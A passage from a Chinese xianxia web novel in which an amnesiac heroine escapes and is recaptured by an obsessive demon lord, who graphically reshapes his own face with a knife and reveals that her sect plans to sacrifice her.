李承仙的手一顿,随后轻笑一声将她抱进怀里,抬手捏她的脸颊,“胆子这会又大起来了。” 季白搂着他劲瘦的腰身,余光看向地上的刻痕,晃着腿问:“夫君,这痕迹是谁留下的啊?” 李承仙看了一眼,语气悠闲地说:“你忘了吗?是团团刻的啊。” “团团?”季白惊诧不已。 李承仙反倒神色古怪地看了她一眼,而后用一种理所当然的语气说:“不是他还能是谁呢。团团小时候顽皮就喜欢到处刻刻画画,这里就是它留下的。” 季白闻言又看了一眼地上的刻痕,现在地上的两道刻痕全都暴露在太阳之下,阳光闪烁间她仿佛看见刻痕里闪烁着细微的金光。 她还没有看清楚,李承仙就将她拦腰抱起。 “好了,我先带你回去把鞋穿上。”李承仙说,“你那么在意那道刻痕,明天我就把它补好。” 季白趴在他怀里垂眸不语,不,他在撒谎。 那道刻痕不是团团刻的,分明是她。 刻痕里闪烁的金光与她头上的金钗一模一样。 夫君为什么要撒谎,她又为什么要在地面留下痕迹? 季白突然想到那两道痕迹似乎和她睡觉的时间与李承仙回来的时间相吻合…… 季白又回想起今天一天察觉到的怪异与不适,她越想越觉心惊。 她再次抬起头看向李承仙,总有一种说不上来的恐慌感。 他,真的是她的夫君吗? 她觉得他像是一个披着人皮假装成她夫君的怪物,而屋外的团团则是一个……小怪物。 68 第68章 “怎么了?”温热的手指摸上她的脸颊轻轻摩挲,像是小虫在爬,“娘子在想什么?” 他勾着她的下巴俯身贴近她与之对视,他漂亮的狐狸眼眯成一道弯弯的弧线,昳丽艳绝的五官让他身后的花海都黯然失色。 这样俊美温柔的夫君,她还能有什么不满意,假装什么也不知道的继续留在这儿也没什么不好,他不是说了吗?外面有很多想要吃掉她的怪物。 留在这儿可以获得永恒不变的快乐与安全,脑海的最深处仿佛一直有一个人这么对她说。 可是心间却生出一股更加强烈的欲望,她不要,她不要留在这儿,哪怕外面很危险,哪怕外面会有吃人的怪物,她也要离开这儿去外面看一看。 季白主动攀上李承仙的肩膀,撒娇道:“夫君,这儿只有我们三个,实在有点太闷了。” 李承仙眼眸闪了闪,“有我们陪着你还不够吗?” “我想养一只非常可爱的宠物陪着我。”季白说,“好不好嘛,夫君。” 李承仙哪里敌得过季白的撒娇,轻笑了一声就点头同意了。 “你喜欢什么样的宠物?” 季白本想说要一只跑得快,听话聪明且生命力很强的宠物,但她怕这样明显的要求会让李承仙看出什么,因而只是笑眯眯地说: “没什么特别的喜好,宠物嘛,只要可爱就好了。” 李承仙略一沉思,随后笑眯眯地说:“好,我明白了。” 季白第二天还没醒就感觉有个毛茸茸的小家伙在蹭自己的脸,她一睁眼就对上一双水汪汪的大眼睛,小家伙通体雪白,形状似狸,身后长着一条格外蓬松的白尾巴。 季白瞬间就被这个可爱的小家伙吸引了全部的注意力,她小心翼翼地伸出手将它抱进怀里抚摸。 小家伙很乖,窝在她的怀里不跑不闹,还主动拿头去蹭她的手。 季白没想到李承仙竟然会送来这么可爱的小家伙,一时间竟有些不忍心了。 李承仙伸出手抚摸她怀里的小家伙,笑着说:“它是朏胐,性情温顺,聪敏灵巧,且饲养它可以消除忧愁。” 季白听到李承仙说到消除忧愁这四个字时,抚摸的动作略微一顿,随后笑眯眯地把脸贴在它毛茸茸的身上轻蹭着,“这里这么快乐,哪还有忧愁需要你消啊。” “你说是不是,小朏胐。” 李承仙看着季白欢喜的模样,心里比喝了蜜还要甜。 原来仙人喜欢这种毛茸茸的生物,那下次要不要多送一点? 不,不行。 一个朏胐就已经分走了仙人的注意力,再多送几个仙人就更没有时间注意她了。 不过……李承仙白皙的面庞浮上一抹亢奋的潮红,仙人说她在这儿很快乐,那是不是代表着,他们……他们会一直在一起? 李承仙只要一想到他能永远和仙人待在一起,心就砰砰直跳,或许……或许他们以后也可以拥有一个真正的,属于他们的孩子。 那个孩子的身上会流淌着他和仙人的血脉,生长着他们的骨肉,就算以后会有矛盾,以后仙人看腻了他,看在孩子的份上也不会轻易抛下他。 李承仙的眼神逐渐变得幽深,他总算明白为什么人类会如此热衷于生孩子。 只是……李承仙的目光落在季白的小腹上,仙人看起来这么纤细,腰身还没他的手掌大,真的能孕育一个生命吗? 会很疼吧? 他不想仙人受疼,也不想有一个东西占据在仙人的身体里。 李承仙低眸看了眼自己的腰身,虽然相比宽阔的胸膛腰身显得非常窄,但腰腹上遍布紧实的肌肉,因而也不会显得赢弱。 他不自禁地把手放在自己的小腹,嘴角勾起一抹动人的笑,他的肚子很适合怀一个他和仙人的孩子呢。 季白正和朏胐玩得正欢,却见李承仙突然伸手揪住朏胐的后脖颈将它往床下一扔,整个人就覆了上来。 “别亲它了。”李承仙说,“亲亲我。” 季白望着他潮红的脸,小脸一红,轻声问:“你怎么了?” 她抬手摸上他的脸颊,入手就是一片滚烫,仿若火山下的熔浆要融化她的手。 “脸怎么这么烫?” 李承仙将脸埋进她的脖颈,深深地吸取她身上的气味,季白觉得自己像是抱了一个正在燃烧的火炉。 低哑的声音从她的耳边传来,“我刚刚……” “想到了一些令人愉悦的事。” 他侧过头,脸颊挨在她的唇上,低声诱哄道:“亲亲我,好不好?” 季白抬头在他脸边落下一个浅浅的吻,这样的吻李承仙自然不会满足,他攥着季白的下巴就深深地回吻了回去。 他牢牢握住季白的手带领着她的手摸上自己的小腹,他激动得声音都在颤抖,眼中的猩红如血一般刺眼,“娘子,让我为你生一个孩子,好不好?” 季白一怔,瞬间感觉李承仙是不是疯了。 可是转瞬一想,又觉得没什么不对。 现在的她脑海里并没有关于如何生孩子的知识,当然也不会知道李承仙作为一位雄性,是不能生孩子的。 “可是,我们不是有团团了吗?”季白试探性地问。 “再多生一个。”李承仙说,“有我们陪着你,娘子就不会寂寞,而且……团团他也需要一个伙伴。” 季白就这么稀里糊涂地被他说服了。 等她在缓过神来,已是累得精疲力尽,大汗淋漓。 但她没有忘记自己的正事,从房间里找来一些布匹就开始做篮子。 李承仙红色的外衫随意披在身上,露出胸前白皙健硕的肌肉,他单手托腮,好奇地问季白:“你在做什么?” 季白笑了笑,答:“我想给朏朏做个窝。” 李承仙眉眼染上一抹笑意,“等我们的孩子出生,娘子也会亲手给他做衣服吧?” 季白好奇地看了李承仙的肚子一眼,问:“这么快就能生出来吗?” 李承仙刚刚告诉过她,他的肚子里会孕育一个长得和他们很像的小人,小人会越长越大,直到和他们一样。 她总觉得这是一件非常非常神奇的事。 李承仙今日在哄她入睡后,又如往常一般消失了。 照季白先前的经验这段时间李承仙是不会出现的,她可以放心地开展她的逃跑计划。 她唤上朏朏又带上做好的窝,一溜烟地跑出房间找到一个不易被发现的拐角。 她拍拍朏朏的头,说:“等会要麻烦你了哦。” 她说着,晃了晃手里的窝,“我用它把你放下去,下去后你就在窝里跑动,千万不要离开窝,等会我会再把你拉上来,听明白了吗?” 朏朏点了点毛茸茸的小脑袋,似是全部听懂了。 季白摸了摸它的头,赞道:“真乖。” 她用绳子吊着装着朏朏的窝一点一点地把它放了下去,朏朏似乎一点也不知道害怕一样,反而兴奋地在窝里跳来跳去。 没一会朏朏就彻底被浓郁的花丛所掩盖只剩下一根刺眼的红绳,季白继续把窝往下放,直至朏朏的窝抵达底部再也感受不到任何的重力,季白飞速在绳子上做了一个记号,计算着从花丛底部到连廊的距离。 她紧握着红绳,开始还能感受到朏朏在动,可很快下面就变得很安静,悄无声息地,似是朏朏不见了一样。 季白慌乱地喊了一声:“朏朏!” 没有任何声响传来,她不作犹豫立即把朏朏往上拉,待熟悉的重力从手中传来时,季白松了一口气,朏朏还在窝里,没有多一块,也没有少一块。 季白很快将它拉上来,认真检查一番后,发现朏朏身上没有任何伤口,呼吸也完全正常,只是昏迷不醒了。 她注意到它洁白的绒毛上沾满了花粉。 季白低头一闻顿感头晕脑胀,她连忙退开,大口大口呼吸着新鲜空气。 看来朏朏是被花粉迷晕了。 如果想穿过花丛离开这儿,必须想办法解决会迷晕人的花粉。 季白从房间取来轻薄的纱布裹住朏朏的口鼻,她正准备把苏醒*过来的朏朏再放下去时,突然觉得又少了点什么。 如果能再带上某种可以令人清醒的刺激物就应当能万无一失了。 可她想了一圈,也没想到房间里有什么东西合适,正想放弃的时候,却突然灵光一闪。 “什么?娘亲要魔……父亲做的食物?” “对。”季白连连点头,“你那还有剩余吗?” 李承仙很热衷于做美食,但季白每次最多只吃一口,剩下的食物都被团团一个人解决了。 不过季白虽然不喜欢吃,但李承仙亲手所做的食物却有一个立竿见影的效果,她每次吃过后,无论有多困倦都能立刻清醒。 她觉得或许李承仙做的食物可以用来对抗会迷晕人的花粉。 “啊,我找找。”团团说着直接把手伸进自己的肚子里开始翻找,很快,它从里面拿出了一块已经开始融化的糕点。 “娘亲,这块可以吗?” 它的样子实在不好看,黏糊糊的一团,而且许是经过团团的胃,糕点本身的气味也开始发酵弥散,季白只是不小心闻到就觉提神醒脑。 李承仙做的食物里到底加了什么啊…… “可以。” 团团虽然不理解但还是顺着季白的意思把这块从它胃里掏出来的食物扔进季白张开的口袋里。 魔尊大人说了,在季白面前他就是季白和魔尊大人的孩子,无论魔尊大人在不在,他都要听娘亲的话。 其实就算没有李承仙的交代,团团也会听季白的,他……很喜欢做他娘亲的季白。 季白会温柔地和他说话,会抚摸他,还会抱抱他,如果可以,他真的希望他能一辈子做季白的小孩。 “娘亲还要吗?”团团问。 “再来点。” 多一点总是有保障。 团团闻言又从胃里掏出了七八块糕点给季白,小袋子被装得满满的,那股难言的奇怪味道也越发浓郁,就像是大脑被气味扎了一针一样。 季白带着新糕点回去后,就往朏朏的窝里放了一块,朏朏柔顺蓬松的毛瞬间炸开了。 它像是见了鬼一样立即从窝里跳了下来,对着季白叫唤个不停。 季白摸摸它的头,说:“朏朏乖啊,有它和你一起下去,你就不会晕倒了。” 季白说着又往它的口鼻上缠了一层棉布,而后就把它抱进窝里。 朏朏不开心地叫了一声,抬起爪子就把那块惨不忍睹,黏糊糊的糕点推了出去。 “不能把它推走。”季白故作严肃地教育它,“你再这样我要生气了。” 朏朏失落地垂下尾巴,无精打采地趴在小窝的一角,颇有一副认命的妥协。 “乖,很快就会结束。” “等会上来我陪你玩你喜欢的游戏,好不好?” 朏朏站了起来,冲着季白叫了一声,似是在说它同意了。 季白第二次放朏朏下去时,还特意多等了很长时间。 这一次朏朏并没有晕,上来时还生龙活虎地围着季白转。 季白收起东西,笑眯眯地摸着朏朏的头,目光望去更遥远的地方,最麻烦的花粉毒气解决了,那么就只剩下逃走的路线了。 在她看不见的远方到底有什么呢。 季白借口想要画画,让李承仙帮忙寻来了许多上好的颜料与宣纸。 她装作一个什么都不懂的傻瓜,没有问李承仙这些神奇的东西都是从何而来,只是陪他演着恩爱不疑的戏码。 她想,她真正的身份一定不是他的娘子,她可能是被他掳来的,花海的尽头也一定不是李承仙嘴中的怪物世界。 这天,她坐在廊边画着眼前的花海,这幅画她已经画了好几天了,今天只剩下最后几笔就可大功告成。 一阵微风拂过她的脸颊,她的脑海中竟突然传来一道诡异的声音。 【滴滴,能量充足,系统重连中。】 季白画画的手一顿,随后当做什么也没听见的样子继续画。 【成功与季白建立连接。】 季白眼中闪过一抹困惑,在她脑海中说话的东西是什么?他为什么还能知道她的名字? 某种新出现的怪物吗? 可他为什么会盯上她? 重新上线的系统简单了解过季白目前的状况后,顿时坐不住了。 【你疯了!你知道过去了多少天吗?你竟然还和李承仙在一起,你的任务不做了?】 【不对,你失忆了,天呐,你现在想起来了吗?你知道我是谁吗?】 失忆?季白心下骇然,可面上仍是不动声色地继续画着画。 【你是谁?】 系统沉默了许久,方开口解释。 【我是你的系统,你是需要完成任务的攻略者。】 他把和季白之前的事以及她本次的任务简单地和季白讲了一遍。 他以为他说完后,哪怕季白什么也想不起来,至少会有紧迫的危机感,然而她竟还能坐得住,甚至连画画的手都没停过,仿佛他说的事情完全和她没有关系一样。 系统的声音蓦地沉了下来。 【你不想做任务了?】 【你想一直留在这儿做李承仙可笑的妻子?】 【你……对他动心了?】 系统说他是她的系统,是一个辅助宿主没有感情的系统,可听他的话,却全然不像没有感情的样子。 反而……像是一个争风吃醋的男人。 季白画完最后一笔,一面托腮欣赏着自己的画作,一面在脑海中问系统。 【你说是我的系统,那之前我失忆的时候你在哪?】 【自我有记忆起,你就从来没有出现过。】 【你到底是帮我的系统,还是……害我的妖怪?】 很奇怪,她脑海中的那团东西明明没有在说话,她却仿佛感受到了它骤然加快的心跳声,是错觉吗? 如果有记忆,季白一定会觉得自己刚刚的感觉十分可笑。 系统怎么会拥有生命的心跳,如果它一定会发出某种声音,那么也只能是电流声。 系统沉默了很久,留下一句。 【抱歉,我系统故障了。】 【这次的任务如果你完不成,我可以……】 系统的话还没说完,就听季白用无比自信的声音回答它。 【谁说我完成不了?】 【可你什么都不记得了。】 【我是失忆了,但又不是变成傻子了,我之前不是完成的很好吗?所有的任务都完成了,只差两个男人的先天之气而已。】 季白吹了吹眼前还未干的画,笑眯眯地说。 【我有把握能完成,还有什么比失忆的爱人又一次出现在他们面前重新爱上他们更动人?】 【失忆真好,我先前做下的麻烦事也不用再费尽心思地和他们解释了,毕竟……我什么都不记得了嘛。】 失忆的季白有一种天真的残忍,有一种未经过社会驯化的完全利己的残忍。 别人的生死和痛苦,她好像……从不在意。 良久,系统轻轻地嗤笑了一声,语气低沉又缓慢。 【你果然是一个天生的感情骗子。】 季白没有理会系统的话,而是卷起桌面上的画藏在袖中带走。 她又从房间中找出布料做成坚固的绳子将一头绑在游廊的木柱上,另一头绑在自己身上。 【你在做什么?】 【当然是离开啊。】 【现在?】 系统有点惊讶,季白确实该离开这儿,可他没想到季白的行动力竟然这般强。 【你不再做点准备?】 【你以为我刚刚真的是在画画?】 系统后知后觉。 【你……在画地图?!】 【你这系统还不算太笨嘛。】 系统连忙翻出季白这段时间的更多细节,这一次它很快就发现原来失忆的季白早在第一天就发觉不对劲了。 原来就算没有它,季白……也会从这儿离开。 无论有没有记忆,她都不会沉迷于一场虚假的,不得自由的甜蜜中。 季白这段时间已经彻底摸清楚,在李承仙中午消失的一个时辰里,她无论做什么李承仙都不会出现。 所以她必须牢牢把握好这一个时辰的时间,尽快离开这儿。 她一跳入花海底部就感受到了一股令人窒息的,难受的潮湿与阴冷,无处不在的浓郁花香包裹着她,让她的眼皮越来越沉。 季白连忙把腰间的锦囊打开了一条缝,比花香还要刺鼻的味道瞬间就涌了出来,激得季白立时没了瞌睡。 季白先前猜测花海的底部错综复杂,不见天日,一旦下去她很有可能会因迷失方向而困在里面,而唯一可以帮她辨别方向的只有各色不同的花。 季白记忆力惊人,只要是她看过一遍的东西就不会再忘记,但花海的颜色实在错综复杂,因而为了保险起见她专门把她能用肉眼看见的花色全部记录了下来,方便她离开时对照路线。 季白捧着画卷飞快穿梭在深绿色的花枝间,这里的植物都很庞大,单是一片花叶都能给她做被子了,显得她好似是一只微不足道的虫子。 不知狂奔了多久,季白终于来到画卷最边缘的位置,再往后就是未知的危险了。 季白长呼一口气,抬脚向前走去,可她没走几步看着头顶的花色就发现了一个惊人的现象,头顶的花色好像再一次的重复了。 季白立即拿出画卷对照并多走了几步观察,果然发现和她之前走过的地方一模一样。 她像是走到一个折叠的空间,等等,如果是折叠的话,那定然有一个中心点。 或许离开的关键不在于花海的尽头,而在于找到中心点。 季白观察了一会后立即在地图上标下一个记号,而后就掉头朝中心点走去。 如果不是她记忆力超群又擅于观察,她真的会一直被困在这儿,直至被李承仙发现。 季白快速抵达目的地后,还来不及反应,就觉脚下一空,下一瞬,就仿佛掉入了一个深不见底的深渊。 等她再次睁开眼,明媚的阳光照在她的脸上,而她的面前是一条极为熟悉的街道,好像……她曾在梦中来过。 无数的行人……或者说是形貌奇怪的怪物从她身边走过,但她并没有从他们身上察觉到恶意,反而从他们的眼眸中感受到了前所未有的尊崇与感激。 【这儿是泰州城,是你曾经来过的地方。】 季白慢慢地走着,余光看见街边的小铺里摆放着她熟悉的雕像,那持剑的飒爽女子分明是她自己。 她还没回神,脑海中又传来系统骤然提高音量的提醒声。 【不好!你被发现了!】 69 第69章 季白闻言立即按照系统的指使,一路狂奔地往城门口走,然而眼前的道路却如同鬼打墙一般。 她明明跑出这条街了,可经过一个拐角又回到了原地。 迎面走来一位生着三头的老者,三张脸六双眼睛齐刷刷地看着她,阴恻恻地说道:“真没想到魔尊大人竟让你跑出来了!” 季白警惕地往后退,系统在她脑海中提醒。 【他是太清宗的玄阳长老,如今已经投靠魔尊了。】 季白闻言抬眸看了玄阳一眼,不知是她的错觉还是妄想,她总觉得……玄阳模样虽可怖,但似乎并没有想要伤害她的想法。 “玄阳长老。”季白说,“我与你无冤无仇,你也曾是太清宗的一员,今日就当行个好事全当没看见我,放我离开这儿,可好?” 【别和他废话,用弓箭。】 系统在脑海中对季白提议,然而季白还没反应过来什么弓箭时,玄阳就大手一挥用一件如同绸缎一般的法器将她裹了起来。 “放了你?”玄阳冷笑,“放你回宗门告诉大家我已投靠了魔尊,你当我傻吗?” “季白啊季白,魔尊喜欢你,你可不要不识好歹啊。” “留在魔尊大人身边有什么不好?他实力超群,至少能护你无虞啊。” 季白正要反驳,却只觉眉心一痛,下一瞬,她就彻底晕了过去。 等季白再次苏醒,尘封许久的记忆如潮水般向她涌来,砸得季白一时间有些晕头转向,但她顾不上整理纷乱的记忆,转眸就看见静静站在她床边的李承仙。 房间里很暗,只有一根微弱的蜡烛放在李承仙脚边,烛火摇摇晃晃的,连带着四周的一切也跟着模糊晃动,仿佛在下一秒,整个房间就会彻底融入黑暗中。 他穿着季白初见时的那件红衣,身上挂满了亮晶晶的珠宝,他没有看她,而是紧盯着镜子里的自己。 这样怪异的举止让气氛越发诡异凝滞,就在季白犹豫着要不要先开口打破沉寂时。 李承仙就已经转了过来,他艳绝昳丽的脸在灯火的映衬下越发俊美无俦,似是从灯火中爬出来的艳鬼。 “为什么要走呢?”李承仙问,“我对你还不好吗?” 他的声音不大,甚至连语调都很平缓,却给人一种心惊肉跳的不安。 “说话啊,为什么不说话?” 他站在床边一步不移地看着她,似是被人抛弃苦苦等待的怨鬼。 猩红的双眸在昏暗的环境中格外明显,那道目光似是要化为实质,黏附在她的身上。 “太清宗到底有什么,值得你一次又一次地抛弃我?” “我比戚流星,卫云台差在哪儿?” “我这么爱你。” 他迈开腿朝季白缓缓走来。 “哒哒哒”的脚步声仿佛是踩在季白的心上一样,季白的大脑飞速转动,思考着她现在的最佳对策。 副本里的男主说着爱她,却是比怪物还要危险的存在,按照他们的逻辑,他们随时都会一边说着爱他,一边……杀了她。 “扑通”一声,李承仙半跪在季白面前,冰冷的手紧紧抓住季白的手,季白没敢躲,任由他抓着。 李承仙带着她的手挪到自己脸边,他微微侧头,冰冷的脸颊贴上她的掌心。 “我现在还不美吗,还不讨你喜欢吗,那仙人喜欢什么样的?我都可以为你改。” 季白张了张嘴,安抚道:“不是这样的,你很美了。” “那仙人为什么抛下我离开呢,为什么一次也不回来看我呢?” “仙人喜欢太清宗是吗,我可以为仙人建一座一模一样的啊,或者……”他的眼神逐渐疯狂扭曲,“我去把太清宗的人都杀了,把它抢过来供你我居住,好不好?” 季白心下一惊,连忙道:“我不喜欢太清宗,那地方我早就住腻了。” “不喜欢太清宗的地啊,那一定是太清宗的人吸引着仙人一次又一次的离开。” “是谁呢?戚流星还是卫云台……” 季白抿着唇不说话,她能感觉到此时此刻说哪个人的名字对李承仙来说都是一场刺激。 如果说都不是,李承仙更不会信了。 李承仙突然笑了,“没关系,无论是谁,我都可以变啊,我变成他们的样子陪着你,好不好?” “一个不行,就两个。” 他松开季白的手笑得越发明艳疯狂,掌心向上一翻手中多了一柄锋利的小刀。 季白吓了一跳,整个人不禁往后靠了靠,不安地问:“你要做什么?” 李承仙喃喃自语,“先从卫云台开始好了,我记得他的鼻梁没有我这么挺。” 他话落抬手往自己的鼻梁上削了一刀。 这刀极为锋利,连肉带着白骨全都削了下来,殷红的血顿时顺着缺了一块的鼻子渗了出来,血滴答滴答地往下落,染红了塌边的被褥。 季白骤然瞪大双眼,尖叫一声:“你疯了!” 满脸是血的李承仙咧开鲜血淋漓的嘴冲她一笑,洁白的牙齿都染上了血色。 “别怕,很快就能好。” “我保证,我会变得和他一模一样。” 低沉的,带笑的声音在阴暗的房间幽幽响起,他一刀一刀地削着自己的脸,刀锋划过骨头的尖锐刺声好似是野兽的爪牙在磨石头,听得季白心里发毛,脊背窜起一股凉意直冲天灵盖。 真是疯了。 他的脸很快变得惨不忍睹,模糊的血肉已经包裹不住脸部的白骨,像是一块被削得七七八八的人骨上随意黏了几块粉红的肉。 血溅得到处都是,季白实在忍受不了这窒息恐怖的折磨,尖叫一声:“行了,你别改了!你原本的样子就很好,你别改了!” 他真是疯了。 什么样的人会自己用小刀如雕玉像般雕自己的脸,哪怕他是魔尊,他不会死,但他一点也不怕疼吗? 季白在做副本任务之前,也只是一个普通的人类。 这样诡异血腥的场面实在让她难以接受,胃里如翻江倒海般难受,好似自己的脸也跟着疼了起来。 李承仙破烂不堪的唇拉扯出一抹笑意,那双与血一样鲜红的眸子倒映着她苍白的脸。 “别怕,马上就好了。” 他说着又从地上捡起刚刚被他削下的肉块黏在自己的嘴巴上,喃喃自语道:“我记得他的嘴巴要比我小一点。” 骨架已经修改完成,李承仙开始断断续续地捡起地上的肉块黏回自己的脸上。 季白看得直犯恶心,她别过头想要大口大口的喘息平复她刚刚所受到的惊吓,然而她一张嘴,呼吸到的全是浓郁的血腥味。 肉块一一粘好后,李承仙强大的自愈功能就开始发力,几乎在转瞬间,他的脸就长好了。 他随手施了个清洁法术,身上与地板上的血全都消失不见,仿佛季白刚刚所看到的一切都只是一场幻觉而已。 冰冷且带着淡淡血腥味的手指抚上她的脸,季白随后就感到床榻一沉,一股凛冽的阴冷之气,顿时席卷她的全身。 “仙人看看我啊。”他幽幽的声音从耳后响起。 季白回眸看去,差一点就将师父两个字脱口而出。 简直与卫云台一模一样。 只是他暗红的眼眸与眉宇之间隐隐透出的妖娆气质与卫云台截然不同。 “喜欢吗?”李承仙顶着卫云台的脸低头吻上季白的唇,他见季白不答,又自顾自后退摸着自己的脸说,“仙人不喜欢吗,那我……” “变成和仙人差点结契的戚流星如何?” 他顶着卫云台的脸,做出一个卫云台这辈子都不会露出的笑脸。 “呵呵,他对仙人可真是情深义重呢。”他挑着眉尾,嘴角的笑意怎么看都像是嘲讽,“你失踪的日子,他找你都快找疯了。” “你这么急着离开,也是为了去见他吧?”低沉平缓的语气逐渐变得刻毒尖锐,“还真是情意绵绵的一对情人啊。” 下一瞬,他又笑了,活像是疯了。 “没关系,你就把我当成是他好了,我会变得和他一样。” 他说着又想用小刀对自己的脸动手,季白连忙抓住他的手腕,道:“你别改了,我……我不喜欢师兄,我要回去和他们任何人都没有关系。” 季白实在不想再经历一次刚刚的折磨。 季白的话说得很清楚了,可李承仙却好似只听见了前半句,他收起小刀定定看着季白,随后勾唇轻笑一声,故意学着卫云台清越的声音问:“原来仙人喜欢自己的师尊啊。” “呵。”他勾着季白的下巴故意让她看着自己的脸,“我还以为仙人冰清玉洁,心无俗念,没想到竟罔顾人伦,倒反纲常爱上自己的师父。” 如卫云台一般无二的清越声音在她耳边低低响起,似是某种邀请。 “那我顶着他的脸,用他的声音这样对仙人,仙人会不会觉得……很刺激?” 冰凉的手探入衣襟,贴上她滚烫的肌肤,激得季白微微一颤,昏暗的灯光将气氛拉至暧昧的极点。 可季白怎么也忘不了,他刚刚那张血肉模糊,白骨裸露的脸,李承仙感受到季白身子僵硬,顿时面色一沉,收回手掐住她的下巴,冷声道:“你不愿意?” “你还想走?”分明是一张出尘脱俗的脸,可眼中却是独属于李承仙的疯狂与扭曲,“好啊,我让你看看离开这儿,离开我,是什么下场!” 他话音刚落,裹着她就来到一个全新的地方。 季白整个人都被他揽在怀里,脸也埋在他的胸口,无法看见外界的环境,但她很快就感受到了从她身边拂过的风与嘲杂的人声。 她像是回到了泰州城里的街道。 难道李承仙打算放了她? 季白总觉得这其中有鬼,听他话里的意思,八成是想到了新的恐吓她的方法。 李承仙很快放开她,季白站稳后这才发现自己和李承仙是站在高高的屋脊上,他们脚下是一条人来人往的街道,不远处就是驻守在泰州城门的修士们。 季白心下一惊,有一种不好的预感,李承仙不会是想要对这些守城的修士下手吧? 或者说……像上次一样要放妖魔进城毁了整个泰州吗? 李承仙垂眸看她,脸上没有表情的时候,与卫云台就更像了,季白望着这张脸总有一种诡异的不适感。 “你带我来这儿做什么?”季白问。 “带你来看一场好戏。” 季白心中的不安越发浓重了。 只见李承仙指尖微点,顷刻间就有一个与季白一模一样的人出现大街上,她拼命狂奔着试图吸引城楼上修士们的注意力。 季白不太明白李承仙是要做什么,难道是想如同对玄阳一般给她捏个假身代替她返回太清宗吗? 可这样的术法,能瞒过城楼上修为不高的修士们,却绝对瞒不过戚流星和卫云台他们。 假季白的异常很快吸引了修士们的注意,他们中有人立刻就认出了季白。 “天呐,你们看那是谁!是不是季仙人?” “真的是她!她怎么出现在这儿了。” “别管那么多了,你们忘了宗主发的金乌令吗,我辈修士若是见到季白,定要即刻将她抓住送回太清宗。” 季白心头一跳,她知道她不见后,卫云台定会寻她,可他的用词为何会是“抓”这个字? 好似她是犯了天大的罪一样。 她缓了缓情绪,安抚自己只是想多了。 下一秒,就见假季白被修士们带走了。 李承仙笑眯眯地问:“你知道他们把你带走后会做什么吗?” 季白:“他们不是说了吗,会送我回太清宗。太清宗本就是我的家,我不见,他们……一定很担心我。” “呵,仙人还真是天真啊。”李承仙说,“你以为他们是好心,你猜一猜,他们送你回太清宗后会对你做什么?” 季白深吸一口气,道:“李承仙,你又是什么好人吗?你屡次三番的骗我,囚禁我,纵容属下肆意残害生灵,他们或许也有自己的私心,但比起你,他们可善良多了。” 李承仙面色一沉,鲜红的眼眸越发红得刺眼。 “是啊,他们善良,可是怎么办,善良的人现在做梦都想杀了你呢,而只有我,只有你口中的恶人,会一直保护你。” 季白眉头微皱,想问李承仙这话是什么意思,却见李承仙拉着她身形一闪,转瞬间,他们就来到了一个全新的地方。 季白被他们暂且安置在屋内,两三位修士退出后就准备去给太清宗传消息。 他们一面走,一面闲聊着。 “太好了,消失已久的季仙人终于回来了,只是想不到她竟会出现在泰州。” “管他呢。反正季仙人回来了,我们修仙界就有救了。” “这样做,对季仙人会不会太残忍?” “残忍什么?我想,就算是季仙人知道了,她也会甘愿赴死。” “牺牲她一人,就能拯救整个修仙界,凡有脑子的人都知晓该怎么选。” “真没想到凶名在外的魔尊竟会把自己的身家性命全部系于季仙人之身,还真是一只痴情的魔啊。” 三人的声音逐渐远去,独留季白一人在原地愣神。 李承仙从她身后走上前来,抬手轻抚着她的脸,低声问:“仙人啊,你可都听明白了?” “你心心念念地想要回去,他们可都想着怎么杀你呢。” “我不信。”季白说,“定是你使得障眼之法,故意挑拨我与太清宗的关系。” “我何必挑拨?”李承仙说,“你我命运相连,自那日结契大典后九州四海都知晓只要你死,霸道横行,残害生灵,穷凶极恶的魔尊李承仙就会跟着死。” “那些修士有多想要我的命,你是知道的,可惜啊……他们又打不过我,如今有个千载难逢的机会就在眼前,你说,他们会不会放过?” 季白闭了闭眼,其实她心里明白,李承仙说的是对的。 这个选择题,任谁来都会选择牺牲一个她,拯救千千万万的人。 她突然想到了这次副本的名字——渡苍生。 哈,原来是这个渡法。 一种难言的酸胀情绪涌上她的心头,她没有办法去指责任何人。 这是一个无比正确的选择,可死的人是她。 “很难受吧?”李承仙低头贴上她的额头,似乎是想要与她一起承担她的痛苦,“这就是他们,大义的残忍,高高在上的残忍,做着自以为正确的事,却随随便便否决别人的人生。” 季白闭了闭眼,想到了当初卫云台发现她和李承仙情契时的第一反应。 卫云台应该一早就知道这情契有何功效,他知道杀了她就能挽救日渐颓废的修仙界,可当时他的眼中没有一丝一毫的杀意,反而拼了命地想要洗去她和李承仙的连接。 她相信修仙界的其他人一定会毫不犹豫的选择牺牲她,可卫云台……卫云台一定不会这样做。 李承仙好似能窥探她心底的想法一样,蛊惑的声音再一次在她耳边响起:“你在想你的师父卫云台不会这样对你,对吗?” “他早就知道你我的关系,却一直没有对你下手。你想着,他这一次也一定会维护你对不对?” 季白没有说话,李承仙捏住她的下巴说:“你看着我,看着这张脸,难道还想不起来卫云台是一个什么样的人吗?” “他那样的人,怎会因私废公?” “纵然他心中百般不愿,千般不忍,也会为了修仙界,为了众生,牺牲你一个,而后……”他嗤笑一声,“悔恨余生。” 季白想,李承仙能在魔界站稳脚跟是有原因的。 除了他过人的实力外,这种洞察人心的敏锐也实在可怕。 “仙人,天下之大,只有我会护你,只有我的身边最安全。” 季白闭上眼睛不看他,良久,她轻声说:“我不会再走了。” 李承仙大喜过望,揽着她的腰就吻了上去。 唇轻轻摩挲着她的唇瓣,唇舌相接间,她听见他轻声说: “不要再骗我了。” 季白假意软倒在他的怀里,实则脑子却无比清晰的盘算着接下来的计划。 如果在这个副本中死亡是她最后的归宿,她也要利用好她的死亡,在最后的关头得到卫云台和戚流星的先天一气。 李承仙带着季白离开泰州后,房间中的假季白也顷刻间消失了,刚刚议论不止的三人停下脚步。 他们一脸莫名地看着眼前的景色,挠挠头问周围的人。 “诶?你们还记得我们在这儿干嘛吗?” “不知道,我们过来干甚?” “奇了怪了,难不成今儿还撞鬼了?” 三人一头雾水的各自散开返回城楼。 季白再次跟着李承仙回到那片花海中的世界,系统在她脑海中焦急地提醒。 【宿主,距离本次任务结束只剩下十天了。】 【你必须想办法尽快离开这儿。】 季白有气无力地趴在床上,道:“我也想离开啊,可李承仙看得这么紧,我又灵气全失,我怎么走?” 先前李承仙每日还会消失一个时辰,可自从泰州回来后,李承仙是真真做到了一天十二个时辰,一个时辰都不离开她。 甚至,她都没见过李承仙抛下她去处理魔族事务的。 他好像除了黏着她,就没有别的事做一样。 季白估摸着李承仙先前会消失,应当是在利用那段时间疗伤,如今他伤势已愈,自然用不着变成原型躲在阴暗的地下了。 